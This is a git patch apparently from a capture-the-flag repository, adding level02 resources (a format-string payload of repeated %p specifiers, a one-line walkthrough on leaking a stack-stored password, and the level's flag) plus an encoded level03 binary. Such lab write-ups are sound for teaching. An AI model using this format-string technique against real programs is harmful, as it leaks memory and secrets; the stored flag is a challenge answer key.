From 91b472d9a5d34844c58101839830211563a03359 Mon Sep 17 00:00:00 2001 From: gbrochar Date: Sun, 4 May 2025 17:58:56 +0200 Subject: [PATCH] feat: level02 + level03 elf --- level02/Ressources/exploit.txt | 1 + level02/Ressources/walktrough.md | 1 + level02/flag | 1 + level03/Ressources/level03 | Bin 0 -> 7677 bytes 4 files changed, 3 insertions(+) create mode 100644 level02/Ressources/exploit.txt create mode 100644 level02/Ressources/walktrough.md create mode 100644 level02/flag create mode 100755 level03/Ressources/level03 diff --git a/level02/Ressources/exploit.txt b/level02/Ressources/exploit.txt new file mode 100644 index 0000000..98bf0da --- /dev/null +++ b/level02/Ressources/exploit.txt @@ -0,0 +1 @@ +%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p diff --git a/level02/Ressources/walktrough.md b/level02/Ressources/walktrough.md new file mode 100644 index 0000000..66b7a1d --- /dev/null +++ b/level02/Ressources/walktrough.md @@ -0,0 +1 @@ +password is stored in the stack, print the stack with lots of %p, remove 0x to get a 80 characters string and hex to ascii (little endian conversion) diff --git a/level02/flag b/level02/flag new file mode 100644 index 0000000..e64482e --- /dev/null +++ b/level02/flag @@ -0,0 +1 @@ +Hh74RPnuQ9sa5JAEXgNWCqz7sXGnh5J5M9KfPg3H diff --git a/level03/Ressources/level03 b/level03/Ressources/level03 new file mode 100755 index 0000000000000000000000000000000000000000..1970d25be4494ff78e1a0760ef7073651548c9d6 GIT binary patch literal 7677 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 literal 0 HcmV?d00001